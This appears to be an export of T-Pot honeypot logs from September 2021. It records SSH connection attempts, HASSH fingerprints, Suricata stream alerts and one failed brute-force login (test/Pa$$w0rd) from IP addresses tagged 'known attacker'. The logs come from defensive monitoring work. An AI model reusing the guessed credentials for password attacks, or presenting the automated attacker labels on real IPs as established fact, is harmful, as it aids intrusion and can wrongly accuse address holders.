34160	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:59:20.117899+03	2021-09-20 15:00:06.773042+03	{"_id": "DQYTA3wBvYTbRNuELVRa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36198, "dest_port": 22, "timestamp": "2021-09-20T11:59:20.117899", "@timestamp": "2021-09-20T11:59:20.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
34161	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:59:20.650041+03	2021-09-20 15:00:06.774042+03	{"_id": "DwYTA3wBvYTbRNuEL1QS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.failed", "message": "login attempt [test/Pa$$w0rd] failed", "session": "564b97e2849d", "@version": "1", "password": "Pa$$w0rd", "username": "test", "timestamp": "2021-09-20T11:59:20.650041Z", "@timestamp": "2021-09-20T11:59:20.650Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
34173	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:59:20.426494+03	2021-09-20 15:00:06.790045+03	{"_id": "DgYTA3wBvYTbRNuEL1QS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8624a60631fa", "@version": "1", "duration": 2.7456092834472656, "timestamp": "2021-09-20T11:59:20.426494Z", "@timestamp": "2021-09-20T11:59:20.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34162	157.240.9.18	109.199.241.180	Suricata	2021-09-20 14:59:21.493982+03	2021-09-20 15:00:06.775043+03	{"_id": "EAYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.493982+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.18", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.18", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 667386237258142, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 34968, "timestamp": "2021-09-20T11:59:21.493982Z", "@timestamp": "2021-09-20T11:59:21.493Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34163	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:21.529409+03	2021-09-20 15:00:06.777042+03	{"_id": "FQYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:21.529409Z", "@timestamp": "2021-09-20T11:59:21.529Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34164	157.240.234.15	109.199.241.180	Suricata	2021-09-20 14:59:21.50382+03	2021-09-20 15:00:06.778042+03	{"_id": "EgYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503820+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.15", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.15", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 2098482225197068, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 39036, "timestamp": "2021-09-20T11:59:21.503820Z", "@timestamp": "2021-09-20T11:59:21.503Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34165	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:21.522909+03	2021-09-20 15:00:06.779042+03	{"_id": "EwYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:21.522909Z", "@timestamp": "2021-09-20T11:59:21.522Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34166	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:59:16.925574+03	2021-09-20 15:00:06.780041+03	{"_id": "5wYTA3wBvYTbRNuEH1Nu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "23ea101ba2f3", "@version": "1", "duration": 2.739741563796997, "timestamp": "2021-09-20T11:59:16.925574Z", "@timestamp": "2021-09-20T11:59:16.925Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34167	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:17.683309+03	2021-09-20 15:00:06.781042+03	{"_id": "6gYTA3wBvYTbRNuEIVOf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2135, "timestamp": "2021-09-20T11:59:17.683309", "@timestamp": "2021-09-20T11:59:17.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34168	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:59:17.895123+03	2021-09-20 15:00:06.782041+03	{"_id": "9gYTA3wBvYTbRNuEI1NX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 190.201.223.33:36264 (192.168.176.2:22) [session: d441b5e1fcab]", "session": "d441b5e1fcab", "@version": "1", "protocol": "ssh", "src_port": 36264, "dest_port": 22, "timestamp": "2021-09-20T11:59:17.895123Z", "@timestamp": "2021-09-20T11:59:17.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34169	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:59:20.013287+03	2021-09-20 15:00:06.784042+03	{"_id": "BwYTA3wBvYTbRNuEK1Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:36198 (192.168.176.2:22) [session: 564b97e2849d]", "session": "564b97e2849d", "@version": "1", "protocol": "ssh", "src_port": 36198, "dest_port": 22, "timestamp": "2021-09-20T11:59:20.013287Z", "@timestamp": "2021-09-20T11:59:20.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34170	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:59:20.014129+03	2021-09-20 15:00:06.785042+03	{"_id": "CAYTA3wBvYTbRNuEK1Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "564b97e2849d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:59:20.014129Z", "@timestamp": "2021-09-20T11:59:20.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
34171	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:59:20.117899+03	2021-09-20 15:00:06.786041+03	{"_id": "CQYTA3wBvYTbRNuELFRR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:59:19.909122+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 480301756702530, "payload": "AAADzAYU80az8W0e+tEW90uaoUZ5kAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36198, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:59:20.117899Z", "@timestamp": "2021-09-20T11:59:20.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......F..m.....K..Fy....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34172	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:59:20.014731+03	2021-09-20 15:00:06.788042+03	{"_id": "DAYTA3wBvYTbRNuELVRa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36198, "timestamp": "2021-09-20T11:59:20.014731", "@timestamp": "2021-09-20T11:59:20.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34174	157.240.9.35	109.199.241.180	Suricata	2021-09-20 14:59:21.498583+03	2021-09-20 15:00:06.792043+03	{"_id": "EQYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.498583+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 66}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.9.35", "asn": 32934, "as_org": "Facebook, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.9.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 282065393785751, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 40258, "timestamp": "2021-09-20T11:59:21.498583Z", "@timestamp": "2021-09-20T11:59:21.498Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34175	157.240.234.35	109.199.241.180	Suricata	2021-09-20 14:59:21.53231+03	2021-09-20 15:00:06.793043+03	{"_id": "FwYTA3wBvYTbRNuEMFQ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:59:21.503539+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "157.240.234.35", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.240.234.35", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 1721708366638835, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 37958, "timestamp": "2021-09-20T11:59:21.532310Z", "@timestamp": "2021-09-20T11:59:21.532Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
